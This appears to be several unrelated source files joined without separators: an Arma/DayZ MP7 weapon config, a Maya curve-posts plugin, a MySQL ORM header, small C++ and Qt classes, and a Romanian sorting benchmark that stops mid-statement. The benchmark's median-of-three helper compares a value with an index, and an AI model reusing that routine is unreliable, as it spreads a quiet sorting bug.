['Attachment_FL_Pist',_id,'MP7_DZ'] call player_removeAttachment"; }; }; }; class MP7_MFL_DZ: MP7_DZ { displayName = $STR_DZ_WPN_MP7_MFL_NAME; model = "\C1987_Mp7\mp7_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7.paa"; MP7_MFLASHLIGHT; class Attachments { Attachment_CCO = "MP7_CCO_MFL_DZ"; Attachment_Holo = "MP7_Holo_MFL_DZ"; Attachment_ACOG = "MP7_ACOG_MFL_DZ"; Attachment_Sup9 = "MP7_SD_MFL_DZ"; }; class ItemActions { class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_MFL_Pist',_id,'MP7_DZ'] call player_removeAttachment"; }; }; }; class MP7_Holo_DZ: MP7_DZ { displayName = $STR_DZ_WPN_MP7_HOLO_NAME; model = "\C1987_Mp7\mp7_eot.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_eot.paa"; class Attachments { Attachment_Sup9 = "MP7_Holo_SD_DZ"; Attachment_FL_Pist = "MP7_Holo_FL_DZ"; Attachment_MFL_Pist = "MP7_Holo_MFL_DZ"; }; class ItemActions { class RemoveHolo { text = $STR_DZ_ATT_HOLO_RMVE; script = "; ['Attachment_Holo',_id,'MP7_DZ'] call player_removeAttachment"; }; }; }; class MP7_Holo_FL_DZ: MP7_DZ { displayName = $STR_DZ_WPN_MP7_HOLO_FL_NAME; model = "\C1987_Mp7\mp7_eot_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_eot.paa"; MP7_FLASHLIGHT; class Attachments { Attachment_Sup9 = "MP7_Holo_SD_FL_DZ"; }; class ItemActions { class RemoveHolo { text = $STR_DZ_ATT_HOLO_RMVE; script = "; ['Attachment_Holo',_id,'MP7_FL_DZ'] call player_removeAttachment"; }; class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_FL_Pist',_id,'MP7_Holo_DZ'] call player_removeAttachment"; }; }; }; class MP7_Holo_MFL_DZ: MP7_DZ { displayName = $STR_DZ_WPN_MP7_HOLO_MFL_NAME; model = "\C1987_Mp7\mp7_eot_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_eot.paa"; MP7_MFLASHLIGHT; class Attachments { Attachment_Sup9 = "MP7_Holo_SD_MFL_DZ"; }; class ItemActions { class RemoveHolo { text = $STR_DZ_ATT_HOLO_RMVE; script = "; ['Attachment_Holo',_id,'MP7_MFL_DZ'] call player_removeAttachment"; }; class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_MFL_Pist',_id,'MP7_Holo_DZ'] call player_removeAttachment"; }; }; }; class MP7_CCO_DZ: MP7_DZ { displayName = $STR_DZ_WPN_MP7_CCO_NAME; model = "\C1987_Mp7\mp7_aim.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_aim.paa"; class Attachments { Attachment_Sup9 = "MP7_CCO_SD_DZ"; Attachment_FL_Pist = "MP7_CCO_FL_DZ"; Attachment_MFL_Pist = "MP7_CCO_MFL_DZ"; }; class ItemActions { class RemoveCCO { text = $STR_DZ_ATT_CCO_RMVE; script = "; ['Attachment_CCO',_id,'MP7_DZ'] call player_removeAttachment"; }; }; }; class MP7_CCO_FL_DZ: MP7_DZ { displayName = $STR_DZ_WPN_MP7_CCO_FL_NAME; model = "\C1987_Mp7\mp7_aim_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_aim.paa"; MP7_FLASHLIGHT; class Attachments { Attachment_Sup9 = "MP7_CCO_SD_FL_DZ"; }; class ItemActions { class RemoveCCO { text = $STR_DZ_ATT_CCO_RMVE; script = "; ['Attachment_CCO',_id,'MP7_FL_DZ'] call player_removeAttachment"; }; class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_FL_Pist',_id,'MP7_CCO_DZ'] call player_removeAttachment"; }; }; }; class MP7_CCO_MFL_DZ: MP7_DZ { displayName = $STR_DZ_WPN_MP7_CCO_MFL_NAME; model = "\C1987_Mp7\mp7_aim_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_aim.paa"; MP7_MFLASHLIGHT; class Attachments { Attachment_Sup9 = "MP7_CCO_SD_MFL_DZ"; }; class ItemActions { class RemoveCCO { text = $STR_DZ_ATT_CCO_RMVE; script = "; ['Attachment_CCO',_id,'MP7_MFL_DZ'] call player_removeAttachment"; }; class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_MFL_Pist',_id,'MP7_CCO_DZ'] call player_removeAttachment"; }; }; }; class MP7_ACOG_DZ: MP7_DZ { displayName = $STR_DZ_WPN_MP7_ACOG_NAME; model = "\C1987_Mp7\mp7_acog.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_acog.paa"; MP7_ACOG; class Attachments { Attachment_Sup9 = "MP7_ACOG_SD_DZ"; Attachment_FL_Pist = "MP7_ACOG_FL_DZ"; Attachment_MFL_Pist = "MP7_ACOG_MFL_DZ"; }; class ItemActions { class RemoveACOG { text = $STR_DZ_ATT_ACOG_RMVE; script = "; ['Attachment_ACOG',_id,'MP7_DZ'] call player_removeAttachment"; }; }; }; class MP7_ACOG_FL_DZ: MP7_DZ { displayName = $STR_DZ_WPN_MP7_ACOG_FL_NAME; model = "\C1987_Mp7\mp7_acog_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_acog.paa"; MP7_FLASHLIGHT; MP7_ACOG; class Attachments { Attachment_Sup9 = "MP7_ACOG_SD_FL_DZ"; }; class ItemActions { class RemoveACOG { text = $STR_DZ_ATT_ACOG_RMVE; script = "; ['Attachment_ACOG',_id,'MP7_FL_DZ'] call player_removeAttachment"; }; class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_FL_Pist',_id,'MP7_ACOG_DZ'] call player_removeAttachment"; }; }; }; class MP7_ACOG_MFL_DZ: MP7_DZ { displayName = $STR_DZ_WPN_MP7_ACOG_MFL_NAME; model = "\C1987_Mp7\mp7_acog_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_acog.paa"; MP7_MFLASHLIGHT; MP7_ACOG; class Attachments { Attachment_Sup9 = "MP7_ACOG_SD_MFL_DZ"; }; class ItemActions { class RemoveACOG { text = $STR_DZ_ATT_ACOG_RMVE; script = "; ['Attachment_ACOG',_id,'MP7_MFL_DZ'] call player_removeAttachment"; }; class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_MFL_Pist',_id,'MP7_ACOG_DZ'] call player_removeAttachment"; }; }; }; class MP7_SD_DZ: MP7_base { displayName = $STR_DZ_WPN_MP7_SD_NAME; model = "\C1987_Mp7\mp7_sd.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_sd.paa"; class Single: Mode_SemiAuto { begin1[] = {"\C1987_Mp7\sound\mp7_sd.wss",1,1,200}; soundBegin[] = {"begin1",1}; recoil = "MP7Recoil"; recoilProne = "MP7Recoil"; dispersion = 0.002; minRange = 2; minRangeProbab = 0.1; midRange = 40; midRangeProbab = 0.7; maxRange = 150; maxRangeProbab = 0.05; }; class FullAuto: Mode_FullAuto { begin1[] = {"\C1987_Mp7\sound\mp7_sd.wss",1,1,200}; soundBegin[] = {"begin1",1}; soundContinuous = 0; ffCount = 1; recoil = "MP7Recoil"; recoilProne = "MP7Recoil"; aiRateOfFire = 0.001; dispersion = 0.0035; minRange = 2; minRangeProbab = 0.2; midRange = 20; midRangeProbab = 0.7; maxRange = 40; maxRangeProbab = 0.05; }; fireLightDuration = 0.0; fireLightIntensity = 0.0; magazines[] = {"40Rnd_46x30_sd_mp7"}; descriptionShort = $STR_DZ_WPN_MP7_SD_DESC; class Attachments { Attachment_CCO = "MP7_CCO_SD_DZ"; Attachment_Holo = "MP7_Holo_SD_DZ"; Attachment_ACOG = "MP7_ACOG_SD_DZ"; Attachment_FL_Pist = "MP7_SD_FL_DZ"; Attachment_MFL_Pist = "MP7_SD_MFL_DZ"; }; class ItemActions { class RemoveSuppressor { text = $STR_ATTACHMENT_RMVE_Silencer; script = "; ['Attachment_Sup9',_id,'MP7_DZ'] call player_removeAttachment"; }; }; }; class MP7_SD_FL_DZ: MP7_SD_DZ { displayName = $STR_DZ_WPN_MP7_SD_FL_NAME; model = "\C1987_Mp7\mp7_sd_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_sd.paa"; MP7_FLASHLIGHT; class Attachments { Attachment_CCO = "MP7_CCO_SD_FL_DZ"; Attachment_Holo = "MP7_Holo_SD_FL_DZ"; Attachment_ACOG = "MP7_ACOG_SD_FL_DZ"; }; class ItemActions { class RemoveSuppressor { text = $STR_ATTACHMENT_RMVE_Silencer; script = "; ['Attachment_Sup9',_id,'MP7_FL_DZ'] call player_removeAttachment"; }; class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_FL_Pist',_id,'MP7_SD_DZ'] call player_removeAttachment"; }; }; }; class MP7_SD_MFL_DZ: MP7_SD_DZ { displayName = $STR_DZ_WPN_MP7_SD_MFL_NAME; model = "\C1987_Mp7\mp7_sd_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_sd.paa"; MP7_MFLASHLIGHT; class Attachments { Attachment_CCO = "MP7_CCO_SD_MFL_DZ"; Attachment_Holo = "MP7_Holo_SD_MFL_DZ"; Attachment_ACOG = "MP7_ACOG_SD_MFL_DZ"; }; class ItemActions { class RemoveSuppressor { text = $STR_ATTACHMENT_RMVE_Silencer; script = "; ['Attachment_Sup9',_id,'MP7_MFL_DZ'] call player_removeAttachment"; }; class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_MFL_Pist',_id,'MP7_SD_DZ'] call player_removeAttachment"; }; }; }; class MP7_Holo_SD_DZ: MP7_SD_DZ { displayName = $STR_DZ_WPN_MP7_HOLO_SD_NAME; model = "\C1987_Mp7\mp7_eot_sd.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_eot_sd.paa"; class Attachments { Attachment_FL_Pist = "MP7_Holo_SD_FL_DZ"; Attachment_MFL_Pist = "MP7_Holo_SD_MFL_DZ"; }; class ItemActions { class RemoveHolo { text = $STR_DZ_ATT_HOLO_RMVE; script = "; ['Attachment_Holo',_id,'MP7_SD_DZ'] call player_removeAttachment"; }; class RemoveSuppressor { text = $STR_ATTACHMENT_RMVE_Silencer; script = "; ['Attachment_Sup9',_id,'MP7_Holo_DZ'] call player_removeAttachment"; }; }; }; class MP7_Holo_SD_FL_DZ: MP7_SD_DZ { displayName = $STR_DZ_WPN_MP7_HOLO_SD_FL_NAME; model = "\C1987_Mp7\mp7_eot_sd_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_eot_sd.paa"; MP7_FLASHLIGHT; class Attachments { }; class ItemActions { class RemoveHolo { text = $STR_DZ_ATT_HOLO_RMVE; script = "; ['Attachment_Holo',_id,'MP7_SD_FL_DZ'] call player_removeAttachment"; }; class RemoveSuppressor { text = $STR_ATTACHMENT_RMVE_Silencer; script = "; ['Attachment_Sup9',_id,'MP7_Holo_FL_DZ'] call player_removeAttachment"; }; class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_FL_Pist',_id,'MP7_Holo_SD_DZ'] call player_removeAttachment"; }; }; }; class MP7_Holo_SD_MFL_DZ: MP7_SD_DZ { displayName = $STR_DZ_WPN_MP7_HOLO_SD_MFL_NAME; model = "\C1987_Mp7\mp7_eot_sd_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_eot_sd.paa"; MP7_MFLASHLIGHT; class Attachments { }; class ItemActions { class RemoveHolo { text = $STR_DZ_ATT_HOLO_RMVE; script = "; ['Attachment_Holo',_id,'MP7_SD_MFL_DZ'] call player_removeAttachment"; }; class RemoveSuppressor { text = $STR_ATTACHMENT_RMVE_Silencer; script = "; ['Attachment_Sup9',_id,'MP7_Holo_MFL_DZ'] call player_removeAttachment"; }; class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_MFL_Pist',_id,'MP7_Holo_SD_DZ'] call player_removeAttachment"; }; }; }; class MP7_CCO_SD_DZ: MP7_SD_DZ { displayName = $STR_DZ_WPN_MP7_CCO_SD_NAME; model = "\C1987_Mp7\mp7_aim_sd.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_aim_sd.paa"; class Attachments { Attachment_FL_Pist = "MP7_CCO_SD_FL_DZ"; Attachment_MFL_Pist = "MP7_CCO_SD_MFL_DZ"; }; class ItemActions { class RemoveCCO { text = $STR_DZ_ATT_CCO_RMVE; script = "; ['Attachment_CCO',_id,'MP7_SD_DZ'] call player_removeAttachment"; }; class RemoveSuppressor { text = $STR_ATTACHMENT_RMVE_Silencer; script = "; ['Attachment_Sup9',_id,'MP7_CCO_DZ'] call player_removeAttachment"; }; }; }; class MP7_CCO_SD_FL_DZ: MP7_SD_DZ { displayName = $STR_DZ_WPN_MP7_CCO_SD_FL_NAME; model = "\C1987_Mp7\mp7_aim_sd_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_aim_sd.paa"; MP7_FLASHLIGHT; class Attachments { }; class ItemActions { class RemoveCCO { text = $STR_DZ_ATT_CCO_RMVE; script = "; ['Attachment_CCO',_id,'MP7_SD_FL_DZ'] call player_removeAttachment"; }; class RemoveSuppressor { text = $STR_ATTACHMENT_RMVE_Silencer; script = "; ['Attachment_Sup9',_id,'MP7_CCO_FL_DZ'] call player_removeAttachment"; }; class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_FL_Pist',_id,'MP7_CCO_SD_DZ'] call player_removeAttachment"; }; }; }; class MP7_CCO_SD_MFL_DZ: MP7_SD_DZ { displayName = $STR_DZ_WPN_MP7_CCO_SD_MFL_NAME; model = "\C1987_Mp7\mp7_aim_sd_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_aim_sd.paa"; MP7_MFLASHLIGHT; class Attachments { }; class ItemActions { class RemoveCCO { text = $STR_DZ_ATT_CCO_RMVE; script = "; ['Attachment_CCO',_id,'MP7_SD_MFL_DZ'] call player_removeAttachment"; }; class RemoveSuppressor { text = $STR_ATTACHMENT_RMVE_Silencer; script = "; ['Attachment_Sup9',_id,'MP7_CCO_MFL_DZ'] call player_removeAttachment"; }; class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_MFL_Pist',_id,'MP7_CCO_SD_DZ'] call player_removeAttachment"; }; }; }; class MP7_ACOG_SD_DZ: MP7_SD_DZ { displayName = $STR_DZ_WPN_MP7_ACOG_SD_NAME; model = "\C1987_Mp7\mp7_acog_sd.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_acog_sd.paa"; MP7_ACOG; class Attachments { Attachment_FL_Pist = "MP7_ACOG_SD_FL_DZ"; Attachment_MFL_Pist = "MP7_ACOG_SD_MFL_DZ"; }; class ItemActions { class RemoveACOG { text = $STR_DZ_ATT_ACOG_RMVE; script = "; ['Attachment_ACOG',_id,'MP7_SD_DZ'] call player_removeAttachment"; }; class RemoveSuppressor { text = $STR_ATTACHMENT_RMVE_Silencer; script = "; ['Attachment_Sup9',_id,'MP7_ACOG_DZ'] call player_removeAttachment"; }; }; }; class MP7_ACOG_SD_FL_DZ: MP7_SD_DZ { displayName = $STR_DZ_WPN_MP7_ACOG_SD_FL_NAME; model = "\C1987_Mp7\mp7_acog_sd_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_acog_sd.paa"; MP7_FLASHLIGHT; MP7_ACOG; class Attachments { }; class ItemActions { class RemoveACOG { text = $STR_DZ_ATT_ACOG_RMVE; script = "; ['Attachment_ACOG',_id,'MP7_SD_FL_DZ'] call player_removeAttachment"; }; class RemoveSuppressor { text = $STR_ATTACHMENT_RMVE_Silencer; script = "; ['Attachment_Sup9',_id,'MP7_ACOG_FL_DZ'] call player_removeAttachment"; }; class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_FL_Pist',_id,'MP7_ACOG_SD_DZ'] call player_removeAttachment"; }; }; }; class MP7_ACOG_SD_MFL_DZ: MP7_SD_DZ { displayName = $STR_DZ_WPN_MP7_ACOG_SD_MFL_NAME; model = "\C1987_Mp7\mp7_acog_sd_t.p3d"; picture = "\C1987_Mp7\equip\gui_mp7_acog_sd.paa"; MP7_MFLASHLIGHT; MP7_ACOG; class Attachments { }; class ItemActions { class RemoveACOG { text = $STR_DZ_ATT_ACOG_RMVE; script = "; ['Attachment_ACOG',_id,'MP7_SD_MFL_DZ'] call player_removeAttachment"; }; class RemoveSuppressor { text = $STR_ATTACHMENT_RMVE_Silencer; script = "; ['Attachment_Sup9',_id,'MP7_ACOG_MFL_DZ'] call player_removeAttachment"; }; class RemoveFlashlight { text = $STR_DZ_ATT_FL_RFL_RMVE; script = "; ['Attachment_MFL_Pist',_id,'MP7_ACOG_SD_DZ'] call player_removeAttachment"; }; }; }; #undef MP7_FLASHLIGHT #undef MP7_MFLASHLIGHT #undef MP7_ACOG
#include <maya/MGlobal.h> #include <maya/MPxCommand.h> #include <maya/MArgList.h> #include <maya/MSyntax.h> #include <maya/MFn.h> #include <maya/MFnPlugin.h> #include <maya/MPoint.h> #include <maya/MSelectionList.h> #include <maya/MDagPath.h> #include <maya/MItSelectionList.h> #include <maya/MObject.h> #include <maya/MFnNurbsCurve.h> #include <maya/MArgDatabase.h> //Syntax string definitions const char *numberFlag = "-n", *numberLongFlag = "-number"; const char *radiusFlag = "-r", *radiusLongFlag = "-radius"; const char *heightFlag = "-h", *heightLongFlag = "-height"; class Posts3Cmd : public MPxCommand { public: static void * creator() { return new Posts3Cmd; } virtual MStatus doIt(const MArgList &args); static MSyntax newSyntax(); private: }; MStatus Posts3Cmd::doIt(const MArgList & args) { int nPosts = 5; double radius = 0.5; double height = 5.0; MArgDatabase argData(syntax(), args); if (argData.isFlagSet(numberFlag)) { argData.getFlagArgument(numberFlag, 0, nPosts); } if (argData.isFlagSet(radiusFlag)) { argData.getFlagArgument(radiusFlag, 0, radius); } if (argData.isFlagSet(heightFlag)) { argData.getFlagArgument(heightFlag, 0, height); } MSelectionList selection; MGlobal::getActiveSelectionList(selection); MDagPath dagPath; MFnNurbsCurve curveFn; double heightRatio = height / radius; MItSelectionList iter(selection, MFn::kNurbsCurve); for (; !iter.isDone(); iter.next()) { iter.getDagPath(dagPath); curveFn.setObject(dagPath); double tStart, tEnd; curveFn.getKnotDomain(tStart, tEnd); MPoint pt; int i; double t; double tIncr = (tEnd - tStart) / (nPosts - 1); for (i = 0, t = tStart; i < nPosts; i++, t += tIncr) { curveFn.getPointAtParam(t, pt, MSpace::kWorld); pt.y += 0.5 * height; MGlobal::executeCommand(MString("cylinder -pivot ") + pt.x + " " + pt.y + " " + pt.z + " -radius 0.5 -axis 0 1 0 -heightRatio " + heightRatio); } } return MS::kSuccess; } MSyntax Posts3Cmd::newSyntax() { MSyntax syntax; syntax.addFlag(numberFlag, numberLongFlag, MSyntax::kLong); syntax.addFlag(radiusFlag, radiusLongFlag, MSyntax::kDouble); syntax.addFlag(heightFlag, heightLongFlag, MSyntax::kDouble); return syntax; } MStatus initializePlugin(MObject obj) { MFnPlugin pluginFn(obj, "jason.li", "0.3"); MStatus stat; stat = pluginFn.registerCommand("posts3", Posts3Cmd::creator, Posts3Cmd::newSyntax); if (!stat) { stat.perror("registerCommand failed."); } return stat; } MStatus uninitializePlugin(MObject obj) { MFnPlugin pluginFn(obj); MStatus stat; stat = pluginFn.deregisterCommand("posts3"); if (!stat) { stat.perror("deregisterCommand failed."); } return stat; }
// // Created by 邦邦 on 2022/4/17. // #ifndef MYSQLORM_DDL_H #define MYSQLORM_DDL_H #include <map> #include <vector> #include <array> #include <string> #include <cstring> #include "bb/Log.h" #include "mysql.h" namespace bb { class ddl { ddl(); ~ddl(); protected: std::string config_path_ = "./bb_mysql_orm_config.conf"; //配置文件 std::map<std::string, std::string> config; //数据库的配置信息 int initMysql(std::string &host, std::string &user, std::string &password, std::string &port, std::string &unix_socket, std::string &client_flag); public: std::vector<MYSQL> connect{}; //mysql的tcp连接 unsigned dql_index{}; //负载均衡下标,轮询切换服务器,只有DQL需要切换只在new的时候切换(同一个用户不进行切换) static ddl &obj(); //单例 }; } #endif //MYSQLORM_DDL_H
#include "Product.h" Product::Product() {} Product::~Product() {} void Product::SetA(std::string str) { m_a = str; } void Product::SetB(std::string str) { m_b = str; } void Product::SetC(std::string str) { m_c = str; } void Product::Show() { std::cout << "product has" << m_a << m_b << m_c << std::endl; }
#include "std_lib_facilities.h" const vector<string> months = { "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" }; enum class Month{ jan, feb, mar, apr, may, jun, jul, aug, sept, oct, nov, dec }; Month operator++(Month& m) { m = (m==Month::dec) ? Month::jan : Month(int(m)+1); return m; } ostream& operator<<(ostream& os, Month m) { return os << months[int(m)]; } class Date{ private: int year; Month month; int day; public: class Invalid{}; Date(int y, Month m, int d): year(y), month(m), day(d) {if (!is_valid()) throw Invalid{};} bool is_valid(); void add_day(int n); int get_year() {return year; } Month get_month() {return month; } int get_day() {return day; } }; bool Date::is_valid() { if (year<0 || day<1 || day>31) return false; return true; } /*Date::Date(int y, Month m, int d) { if (y>0) year= y; else error("Invalid year"); if (d<32 && d>0) day = d; else error("Invalid day"); } */ void Date::add_day(int n) { day += n; if (day>31) { ++month; day -= 31; if (month == Month::jan) { year++; } } } int main() try{ Date today {1978, Month::jun, 25}; cout<< "Today: "<< today.get_year() << ". " << today.get_month() << " " << today.get_day() << ".\n"; today.add_day(1); Date tomorrow {today}; cout << "Tomorrow: "<< today.get_year() << ". " << today.get_month() << " " << today.get_day() << ".\n"; return 0; }catch (Date::Invalid) { cout<< "Error: Invalid date\n"; return 1; }catch (exception& e){ cout<< "Error: " << e.what()<<endl; return 2; }
#include "mySpinBox.h" mySpinBox::mySpinBox(QWidget *parent) : QSpinBox(parent) { setTimer(); connect(this, static_cast<void (QSpinBox::*)(int)>(&QSpinBox::valueChanged), this, &mySpinBox::onValueChanged); } void mySpinBox::setTimer() { timer = new QTimer; timer->setSingleShot(true); connect(timer, &QTimer::timeout, this, &mySpinBox::onTimeout); } void mySpinBox::onValueChanged(int value) { emit valueIsChanging(value); timer->start(1000); } void mySpinBox::onTimeout() { emit valueHasChanged(); }
#include <iostream> #include <vector> #include <fstream> #include <cmath> #include <list> #include <cstdlib> #include <chrono> #include <algorithm> using namespace std; using namespace std::chrono; ifstream fin("citire.in"); ofstream fout("citire.out"); void BubbleSort(vector < long long > & v, int n) { int i, j; for (i = 0; i < n - 1; i++) for (j = 0; j < n - i - 1; j++) if (v[j] > v[j + 1]) swap(v[j], v[j + 1]); } void CountSort(vector < long long > & v, int dim) { int ct[10], maxi; vector < long long > out(v.size()); maxi = v[0]; for (int i = 1; i < dim; i++) { if (v[i] > maxi) maxi = v[i]; } for (int i = 0; i <= maxi; ++i) { ct[i] = 0; } for (int i = 0; i < dim; i++) { ct[v[i]]++; } for (int i = 1; i <= maxi; i++) { ct[i] += ct[i - 1]; } for (int i = dim - 1; i >= 0; i--) { out[ct[v[i]] - 1] = v[i]; ct[v[i]]--; } for (int i = 0; i < dim; i++) { v[i] = out[i]; } } //RADIXSORT int nrcif(int x) { int k = 0; while (x) { x /= 10; k++; } return k; } void RadixSort(vector < long long > & v, int & nrcifmax) { int i, j, poz, sterge_poz_ant, cif_de_sortat; list < long long > liste[10]; for (i = 0; i < nrcifmax; i++) { poz = ceil(pow(10, i + 1)); sterge_poz_ant = ceil(pow(10, i)); for (j = 0; j < v.size(); j++) { cif_de_sortat = (v[j] % poz) / sterge_poz_ant; liste[cif_de_sortat].push_back(v[j]); } v.clear(); for (j = 0; j < 10; j++) { if (liste[j].size() > 0) { v.insert(v.end(), liste[j].begin(), liste[j].end()); liste[j].clear(); } } } } //MERGESORT void sortare(int st, int dr, vector < long long > & v) { if (v[st] > v[dr]) { int aux = v[st]; v[st] = v[dr]; v[dr] = aux; } } void interclasare(int st, int dr, int m, vector < long long > & v) { int i = st, j = m + 1, k = 0; vector < long long > w; while (i <= m && j <= dr) { if (v[i] < v[j]) w.push_back(v[i++]); else w.push_back(v[j++]); } while (i <= m) w.push_back(v[i++]); while (j <= dr) w.push_back(v[j++]); for (i = st; i <= dr; i++) v[i] = w[i - st]; } void MergeSort(int st, int dr, vector < long long > & v) { int mij; if (dr - st <= 1) sortare(st, dr, v); else { mij = st + (dr - st) / 2; MergeSort(st, mij, v); MergeSort(mij + 1, dr, v); interclasare(st, dr, mij, v); } } //QUICKSORT int mediana3(int st, int dr, int mij, vector < long long > & v) { int s = v[st], m = v[mij], d = v[dr]; if ((s > m) != (s > d)) return st; else if ((m > s) != (m > dr)) return mij; else return dr; } int partitie(int st, int dr, vector < long long > & v) { int piv = v[dr], i; int indexmin = st; for (i = st; i < dr; i++) { if (v[i] <= piv) { swap(v[i], v[indexmin]); indexmin++; } } swap(v[dr], v[indexmin]); return indexmin; } void QuickSort(int st, int dr, vector < long long > & v) { if (st < dr) { int piv = partitie(st, dr, v); QuickSort(st, piv - 1, v); QuickSort(piv + 1, dr, v); } } void QuickSortMed3(int st, int dr, vector < long long > & v) { if (st < dr) { int mij = (st + dr) / 2; int piv = mediana3(st, dr, mij, v); swap(v[piv], v[dr]); piv = partitie(st, dr, v); QuickSortMed3(st, piv - 1, v); QuickSortMed3(piv + 1, dr, v); } } void afisare(int v[], int n) { for (int i = 0; i < n; i++) { fout << v[i] << " "; } } bool Verif(vector < long long > & v, vector < long long > & sortat) { for (int i = 0; i < v.size(); i++) if (v[i] != sortat[i]) return false; return true; } int main() { vector < long long > v, copie, sortat; int nrcifmax = 0, n; int x; int t[100], m[100], p, nrt, i; cout << "Teste:"; fin >> nrt; cout << nrt << '\n'; for (int i = 0; i < nrt; i++) { cout << "N = "; fin >> t[i]; cout << t[i] << '\n'; cout << "Max = "; fin >> m[i]; cout << m[i] << '\n'; } for (p = 0; p < nrt; p++) { for (int i = 0; i < t[p]; i++) { int value = rand() % m[p]; v.push_back(value); copie.push_back(value); if (nrcif(v[i]) > nrcifmax) nrcifmax = nrcif(v[i]); } fout << "Testul Numarul:" << p+1 << '\n'; //Vector nesortat fout << "Vector nesortat" << '\n'; for (i = 0; i < v.size(); i++) { fout << v[i] << " "; } fout << '\n'; //STL Sort for (i = 0; i < copie.size(); i++) v[i] = copie[i]; fout << "STL Sort" << '\n'; auto start = high_resolution_clock::now(); sort(v.begin(), v.end()); auto stop = high_resolution_clock::now(); for (i = 0; i < v.size(); i++) fout << v[i] << " "; fout << '\n'; duration < double, std::milli > fp_ms = stop - start; fout << "STLSort:" << fp_ms.count() / 1000 << '\n'; for (i = 0; i < v.size(); i++) sortat.push_back(v[i]); /////////////////////////////////////////////////// //Bubble Sort for (i = 0; i < copie.size(); i++) v[i] = copie[i]; fout << "BubbleSort" << '\n'; if (v.size() > 10000) { fout << "Vector prea mare pentru Bubble" << '\n'; } else { auto start = high_resolution_clock::now(); BubbleSort(v, v.size()); auto stop = high_resolution_clock::now(); for (i = 0; i < v.size(); i++) fout << v[i] << " "; fout << '\n'; duration < double, std::milli > fp_ms = stop - start; fout << "BubbleSort:" << fp_ms.count() / 1000 << '\n'; if (Verif(v, sortat) == true) fout << "Corect" << '\n'; else fout << "Gresit" << '\n'; } /////////////////////////////////////////////////// //Radix Sort for (i = 0; i < copie.size(); i++) v[i] = copie[i]; fout << "RadixSort" << '\n'; start = high_resolution_clock::now(); RadixSort(v, nrcifmax); stop = high_resolution_clock::now(); for (i = 0; i < v.size(); i++) fout << v[i] << " "; fout << '\n'; fp_ms = stop - start; fout << "RadixSort:" << fp_ms.count() / 1000 << '\n'; if (Verif(v, sortat) == true) fout << "Corect" << '\n'; else fout << "Gresit" << '\n'; /////////////////////////////////////////////////// //Merge Sort for (i = 0; i < copie.size(); i++) v[i] = copie[i]; fout << "MergeSort" << '\n'; start = high_resolution_clock::now(); MergeSort(0, v.size() - 1, v); stop = high_resolution_clock::now(); for (i = 0; i < v.size(); i++) fout << v[i] << " "; fout << '\n'; fp_ms = stop - start; fout << "MergeSort:" << fp_ms.count() / 1000 << '\n'; if (Verif(v, sortat) == true) fout << "Corect" << '\n'; else fout << "Gresit" << '\n'; /////////////////////////////////////////////////// //CountSort for (i = 0; i < copie.size(); i++) v[i] = copie[i]; fout << "CountSort" << '\n'; if (m[p] == 10) { start = high_resolution_clock::now(); CountSort(v, v.size()); stop = high_resolution_clock::now(); for (i = 0; i < v.size(); i++) fout << v[i] << " "; fout << '\n'; fp_ms = stop - start; fout << "CountSort:" << fp_ms.count() / 1000 << '\n'; if (Verif(v, sortat) == true) fout << "Corect" << '\n'; else fout << "Gresit" << '\n'; } else fout << "Numerele sunt prea mari pentru Count Sort" << '\n'; //QuickSort for (i = 0; i < copie.size(); i++) v[i] = copie[i]; fout << "QuickSort" << '\n'; start = high_resolution_clock::now(); QuickSort(0, v.size() - 1, v); stop = high_resolution_clock::now(); for (i = 0; i < v.size(); i++) fout << v[i] << " "; fout << '\n'; fp_ms = stop - start; fout << "QuickSort:" << fp_ms.count() / 1000 << '\n'; if (Verif(v, sortat) == true) fout << "Corect" << '\n'; else fout << "Gresit" << '\n'; for (i = 0; i < copie.size(); i++) v[i] = copie[i]; ///////// fout << "QuickSortMed3" << '\n'; start = high_resolution_clock::now(); QuickSortMed3(0, v.size() - 1, v); stop = high_resolution_clock::now(); for (i = 0; i < v.size(); i++) fout << v[i] << " "; fout << '\n'; fp_ms = stop - start; fout << "QuickSortMed3:" << fp_ms.count() / 1000 << '\n'; if (Verif(v, sortat) == true) fout << "Corect" << '\n'; else 